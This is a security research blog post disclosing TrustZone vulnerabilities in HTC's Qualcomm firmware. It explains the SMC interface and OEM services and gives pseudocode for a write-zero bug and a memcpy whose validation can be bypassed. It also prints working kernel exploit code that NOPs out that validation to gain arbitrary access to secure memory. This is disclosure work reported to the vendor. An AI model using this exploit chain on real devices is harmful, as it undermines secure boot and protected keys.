Why the wait? Well, after REcon, we noted that Dan Rosenberg was presenting on TrustZone research at Black Hat USA, and out of respect for Dan's work, Atredis decided to sit on this blogpost until after his talk. Overlaps and similar research happen all the time, and since BlackHat was fairly close at the time we thought it best to let Dan have the mic. Dan's stuff is great - you should check out his slides and WP; he dropped a good bug with similar impact, and it covers some TZ components not discussed here.
[What is TrustZone?]
The ARM specification of TrustZone Technology has been heavily promoted as the "be all, end all" solution for mobile security. Through extensive marketing promises of easy BYOD, secure pin entry, and protection against APT (not to mention the ubiquity of ARM chips soldered into mobile devices) TrustZone has become the de-facto standard for claiming and providing a "secure processing environment" in cellular handsets.
While a secure processing environment sounds like an awesome thing to have as an end user, the realistic drivers for the massive TrustZone adoption are not owner empowerment but the more mundane use-case of Digital Rights Management (DRM). The secure enclave of TrustZone is primarily used to facilitate vendor locks and DRM processing, rather than increasing the difficulty in compromising user data. Further, due to TZ architecture, the inclusion of DRM protections provide a net reduction in real world security provided to the device owner.
Soap box and ramblings aside, Google is your friend if you want more specification data from ARM or if you want high level details from Qualcomm's fortress of shallow marketing materials (trademark pending)... but enough already, let's talk details.
You can watch our REcon presentation here, but unfortunately the first 10-15 minutes was cut off. We're using this blog post to document the vulnerabilities reported to HTC and shed some further light on TrustZone.
[Funny aside: after finding HTC's PGP key on their site and emailing them, they got back to us a month later saying they couldn't open it, and to please send in the clear. We obliged, and they've told us it's fixed, but we are unable to validate until a new firmware revision makes it through a carrier and into the real world.]
[Interfaces]
TZ consumes untrusted input from a number of places:- SMC [Secure Monitor Call] interface (has had the most public research)
- Interrupts
- Shared Memory
- Peripherals
[SMC]
The SMC interface is invoked by utilizing the SMC ARM instruction from supervisor mode, meaning you need to be in the kernel. You invoke the instruction with a pointer to a physical memory location that contain the below structures. Code snippits below are taken from arch/arm/mach-msm/scm.c from an Android kernel. 42 * An SCM command is laid out in memory as follows:
43 *
44 * ------------------- <--- struct scm_command
45 * | command header |
46 * -------------------
47 * | command buffer |
48 * ------------------- <--- struct scm_response
49 * | response header |
50 * -------------------
51 * | response buffer |
52 * -------------------
The scm_command struct contains its total length, offset to its request buffer, offset to its response buffer header (which in turn contains another offset to its own buffer), and the buffers themselves:
58 struct scm_command {
59 u32 len;
60 u32 buf_offset;
61 u32 resp_hdr_offset;
62 u32 id;
63 u32 buf[0];
64 };
The resp_hdr_offset entry points to:
72 struct scm_response {
73 u32 len;
74 u32 buf_offset;
75 u32 is_complete;
76 };
Lastly, the example kernel driver code that utilizes these buffers:
164 static u32 smc(u32 cmd_addr)
165 {
166 int context_id;
167 register u32 r0 asm("r0") = 1;
168 register u32 r1 asm("r1") = (u32)&context_id;
169 register u32 r2 asm("r2") = cmd_addr;
170 do {
171 asm volatile(
172 __asmeq("%0", "r0")
173 __asmeq("%1", "r0")
174 __asmeq("%2", "r1")
175 __asmeq("%3", "r2")
176 #ifdef REQUIRES_SEC
177 ".arch_extension sec\n"
178 #endif
179 "smc #0 @ switch to secure world\n"
180 : "=r" (r0)
181 : "r" (r0), "r" (r1), "r" (r2)
182 : "r3");
183 } while (r0 == SCM_INTERRUPTED);
184
185 return r0;
186 }
When smc is called, the command buffer will contain a struct made up the ID of the TZ service being called and an arbitrary number of variables needed for that function.
As one example, scm_set_boot_addr in scm-boot.c invokes SMC like so:
22 int scm_set_boot_addr(phys_addr_t addr, unsigned int flags)
23 {
24 struct {
25 unsigned int flags;
26 unsigned long addr;
27 } cmd;
28
29 cmd.addr = addr;
30 cmd.flags = flags;
31 return scm_call(SCM_SVC_BOOT, SCM_BOOT_ADDR,
32 &cmd, sizeof(cmd), NULL, 0);
33 }
[Aside: SCM is not a typo. Qualcomm actually chose SCM, "Secure Channel Manager", as a wrapper for SMC. The scm_call function simply spins up the correct kernel buffers and converts virtual addresses to their phys counterparts.]
OK, so we know how SMC works, what can we actually talk to?
[TrustZone Services]
Inside TZ, there is a table labeling all the services, command IDs, location of the function implementing a given service, return types, and the number and size of arguments. It looks like this:ROM:2A02E054 DCD 0x801 ; Service ID
ROM:2A02E058 DCD aTzbsp_pil_init ; "tzbsp_pil_init_image_ns"
ROM:2A02E05C DCD 0x1D ; Return type
ROM:2A02E060 DCD tzbsp_pil_init_image_ns+1
ROM:2A02E064 DCD 2 ; Number of arguments
ROM:2A02E068 DCD 4 ; Size of arg1
ROM:2A02E06C DCD 4 ; Size of arg2
ROM:2A02E070 DCD 0x805
ROM:2A02E074 DCD aTzbsp_pil_auth ; "tzbsp_pil_auth_reset_ns"
ROM:2A02E078 DCD 0x1D
ROM:2A02E07C DCD tzbsp_pil_auth_reset_ns+1
ROM:2A02E080 DCD 1
ROM:2A02E084 DCD 4
...
... And so on.
From here, we can enumerate all available services, know what to expect them to return, as well as know how many arguments to send and what size they are.
[Pointer: this table is really useful for figuring out the base of the firmware image when you extract it from a device or a firmware file. The string pointer for service 0x801 should always point to "tzbsp_pil_init_image_ns", giving you the offset values you need to calculate its base.]
Looking at the full listing, most are part of the Qualcomm core functionality available on all supported devices, but OEMs have the option of extending it with their own services. HTC extended theirs considerably, so let's focus on them:
tzbsp_oem_do_something
tzbsp_oem_enc
tzbsp_oem_get_rand
tzbsp_oem_log_operator
tzbsp_oem_hash
tzbsp_oem_set_simlock_retry
tzbsp_oem_get_security_level
tzbsp_oem_verify_bootloader
tzbsp_oem_aes
tzbsp_oem_set_simlock
tzbsp_oem_update_simlock
tzbsp_oem_simlock_magic
tzbsp_oem_read_mem
tzbsp_oem_set_ddr_mpu
tzbsp_oem_update_smem
tzbsp_oem_emmc_write_prot
tzbsp_oem_write_mem
tzbsp_oem_set_gpio_owner
tzbsp_oem_read_simlock
tzbsp_oem_access_item
tzbsp_oem_disable_svc
tzbsp_oem_read_simlock_mask
tzbsp_oem_memcpy
tzbsp_oem_3rd_party_syscall
tzbsp_oem_query_key
tzbsp_oem_simlock_unlock
tzbsp_oem_memprot
tzbsp_oem_key_ladder
Look at those primitives! _write_mem, _read_mem, _memcpy?!
Ah, so here's where we learn a new valuable lesson about TZ service security: Everyone does their own thing. To summarize it:
- Each function individually validates input on invocation.
- HTC utilizes an access bitmask representing each of their tzbsp_oem functions, with a check at the top of every function determining if the service is disabled or not. (See [is_service_enabled] below. This is how HTC disables those fantastical exploit primitives listed above.)
- Qualcomm does not universally block access to any of their functions. If they're present, it's assumed they're needed, and while input is validated, the function itself is accessible to the kernel.
- Qualcomm's input validation uses a check against several protected memory regions, bailing out if you touch any of them.
- Some OEMs perform their own validation of input against their specific address ranges, rather than using QC's list. Their addresses are, umm, less complete.
- Some platforms copy QC's model, performing the same validation.
[Randomness: You may notice the tzbsp_oem_do_something function. We've seen that function in numerous vendor implementations, and we can only suspect it is sample code that QC provides to OEMs who just leave it in their production code. If you are curious what that function does, however, you will usually find it merely returns 0. Yes, the aptly named tzbsp_oem_do_something inevitably does nothing.]
[Enter HTC]
One short piece of information before we dive into the bugs.[is_service_enabled]
This is the bitmask I was referencing above that HTC added to their OEM functions. The bitmask starts off as 0xFFFFFFFF in flash, and during boot, dangerous functions are turned off once they are not needed. This is perhaps a fragile model, but it does allow the temporary usage of TZ services that can later be disabled after they are no longer needed.signed int __fastcall is_svc_enabled(unsigned __int8 svc_id)
{
return g_disable_bitmask & (1 << svc_id);
}
[Note: TZ does quite a bit of validation, to varying degrees of success, on addresses passed in to ensure writes to secure memory don't occur. Because of this, if you pass in the address of a kernel variable to detect a write vulnerability, it won't tell you anything, because it is not a secure address. So how can you detect write vulnerabilities without reversing them? Well, you can pass in the address of g_disable_bitmask and then try to invoke all OEM functions as a poor man's read primitive. If your write succeeded, you will see that different functions are now enabled/disabled.]
[tzbsp_oem_access_item, address validation]
#define IS_TZ_MEMORY(x) (x >= 0x2A000000 && x < 0x2B000000)
int tzbsp_oem_access_item(int write_flag, int item_id, void * addr, int len) {
if (!is_svc_enabled(26)) {
return -4;
}
if (IS_TZ_MEMORY(addr) || IS_TZ_MEMORY(addr + len - 1) ) && addr < 0x2A03F000) {
return -1;
}
if (!write_flag) {
...
if (item_id == 37) {
if (g_flag > 0) {
memcpy(addr, g_item_37, len);
}
}
...
}
}
HTC uses similar bounds checking in a few places. This check tries to verify if the start and stop addresses are in between 0x2A000000 and 0x2A03F000. There are multiple problems with this:
- It's only checking against one range, where QC's code checks against 12.
- What happens if the length value is really big? (Answer: it overflows and wraps around under 0x2A03F000, bypassing this check, but it's ugly and influences a lot more than is ideal.)
- This address range is supposed to be the TZ code and data itself, but someone forgot to update the ceiling, because the TZ code extends past 0x2A03F000 due to large amounts of DRM code.
[tzbsp_oem_discretix, memory write]
int __tzbsp_oem_discretix(struct_p * s, size_t len) {
if (len != 0x14) {
return -16;
}
s->status = g_fs_status; // *(int *)(s + 16) = g_fs_status
...
}
Hey, not everyone validates their input! And check that out, an overwrite of s->status (s + 16) with whatever is stored at 0x2A02BC80 (g_fs_status).
We later determined this value was zero in every case we cared about, so we can call it a write zero primitive. Under the hood, it is using the ARM STR instruction, so it has to be 4-byte aligned, but is otherwise very flexible.
[tzbsp_oem_memcpy, why do you exist?]
#define IS_TZ_MEMORY(x) (x >= 0x2A000000 && x < 0x2B000000)
#define CONTAINS_TZ_MEMORY(x, len) (x < 0x2A000000 && (x + len) >= 0x2B000000)
signed int tzbsp_oem_memcpy(void * dst, void * src, uint32_t len)
{
uintptr_t dst_end = dst + len - 1;
uint32_t copying_to_tz = CONTAINS_TZ_MEMORY(dst, len) || IS_TZ_MEMORY(dst);
uint32_t copying_from_tz = CONTAINS_TZ_MEMORY(src, len) || IS_TZ_MEMORY(src);
if ( !is_service_enabled(20) )
return -4;
if (copying_to_tz && copying_from_tz) {
return -1;
}
if (copying_to_tz && dst < 0x2A03F000) {
return -1;
}
if ( dword_2A02BAC8 > 1u ) {
if (dst < 0x88AF0000 && dst_end >= 0x88AF1140) {
return -16;
}
if ((dst_end + 0x77510000) < 0x1140 || (dst + 0x77510000) < 0x1140) {
return -16;
}
if (src != 0x88AF0000) {
return -2;
}
if (len != 0x1140) {
return -17;
}
}
memcpy(dst, src, len);
invalidate_data_cache(dst, len);
return 0;
}
In this pseudocode, we can see some address validation (heh, no comment), checking a flag to perform further validation, etc. At the very end, we have:
memcpy(dst, src, len);
invalidate_data_cache(dst, len);
return 0;
So if we can get there, we have a fully controlled memcpy(). But how can we do that?
00 00 MOV r0, r0 ; nop in thumb mode
00 00 00 00 ANDEQ r0, r0, r0 ; nop in arm
A null write is a NOP equivalent in both ARM and thumb mode, if you overwrite code. And surely that isn't RWX, is it? Well, apparently so.
ROM:2A003278 PUSH {R3-R7,LR}
ROM:2A00327A MOV R4, R0
ROM:2A00327C MOV R3, R1
ROM:2A00327E MOV R5, R2
// validation, nop'd out
ROM:2A0033EC MOV R1, R3
ROM:2A0033EE MOV R0, R4
ROM:2A0033F0 BLX memcpy
ROM:2A0033F4 MOV R1, R5
ROM:2A0033F6 MOV R0, R4
ROM:2A0033F8 BLX invalidate_data_cache
ROM:2A0033FC MOVS R0, #0
ROM:2A0033FE POP {R3-R7,PC}
ROM:2A0033FE ; End of function tzbsp_oem_memcpy
Using the write zero primitive on the address range from 0x2A003280 to 0x2A0033E8 nops out all validation, allowing you to memcpy in and out of secure memory as desired.
This memcpy can be used to export all data out of secure memory, copy in your own shellcode, overwrite QC's knowledge of where secure and insecure code resides, and anything else you need. Boom!
The exploit code is shown below, utilizing this memcpy to overwrite the g_disable_bits bitmask with 0xFFFFFFFF to turn on all services. For simplicity, the call_svc function is not included, but it is merely a wrapper around a smc call that sets up the scm_command structure. It takes in the SCM function identifier, the argument count, and then that number of arguments.
#define TZ_MEMCPY_NOP_START (0x2A003280)
#define TZ_MEMCPY_NOP_STOP (0x2A0033E8)
#define TZ_HTC_DISABLE_BITS (0x2A02BAC4)
#define TZ_HTC_OEM_MEMCPY_ID (0x3f814)
#define WRITE_ZERO(x) call_svc(0x3f81b, 3, 0x0, x - 0x10, 0x14);
// allocate our version of the g_disable_bits and set to 0xffffffff (all enabled)
int * val = kzalloc(4, GFP_KERNEL);
val[0] = 0xffffffff;
// NOP out all validation in tzbsp_oem_memcpy
for (i = TZ_MEMCPY_NOP_START ; i <= TZ_MEMCPY_NOP_STOP ; i+=4) {
if ((i % 4) != 0) {
printk("[-] [0x%x] INVALID NOP...MUST BE 4 BYTE ALIGNED!\n", i);
break;
}
WRITE_ZERO(i);
}
flush_cache_all();
// use memcpy to enable all the other functions (unnecessary but fun)
call_svc(TZ_HTC_OEM_MEMCPY_ID, 3, TZ_HTC_DISABLE_BITS, virt_to_phys(val), 4);
[So What?]
We've shown a pathway for gaining arbitrary code execution within TrustZone, but, in fairness to Qualcomm, this specific exploit is limited to HTC devices and caused by code HTC added. However, it's a great exemplar of how just one, terrible, and obvious write zero vulnerability can lead to the complete compromise of TrustZone. And due to TrustZone's architecture, passing physical buffers back and forth, this class of write vulnerability is the most common and simplest vulnerability you're going to find. So to summarize, write vulns pop up like mushrooms from this fertile ground, and write vulns can really ruin your day.
To put it another way, why does a mistake in discretix (dealing with DRM functionality) have the ability to nuke secure boot? This seems like a dangerous idea, and is what we meant when we started this all off with the claim that the inclusion of bad, complex code provides a net reduction in real world security for the user. And we're ragging on DRM code here because that's where the vulnerability we discussed was found, but TZ does not allow for the inclusion of imperfect code, anywhere. And imperfect code abounds.
To put it another way, why does a mistake in discretix (dealing with DRM functionality) have the ability to nuke secure boot? This seems like a dangerous idea, and is what we meant when we started this all off with the claim that the inclusion of bad, complex code provides a net reduction in real world security for the user. And we're ragging on DRM code here because that's where the vulnerability we discussed was found, but TZ does not allow for the inclusion of imperfect code, anywhere. And imperfect code abounds.
Given the financial drivers, we don't expect a lot of this to change, but we're hopeful we'll one day see a trend towards protecting the user from malware over protecting media companies from users.
In conclusion, we have given a peek behind the trusted veil to show you a piece of how everything works, as well as a few pointers along the way to get you started on your own research.
Hope you enjoyed our travels. Talk to you again soon.
Hope you enjoyed our travels. Talk to you again soon.
Go forth and 0day,
n & c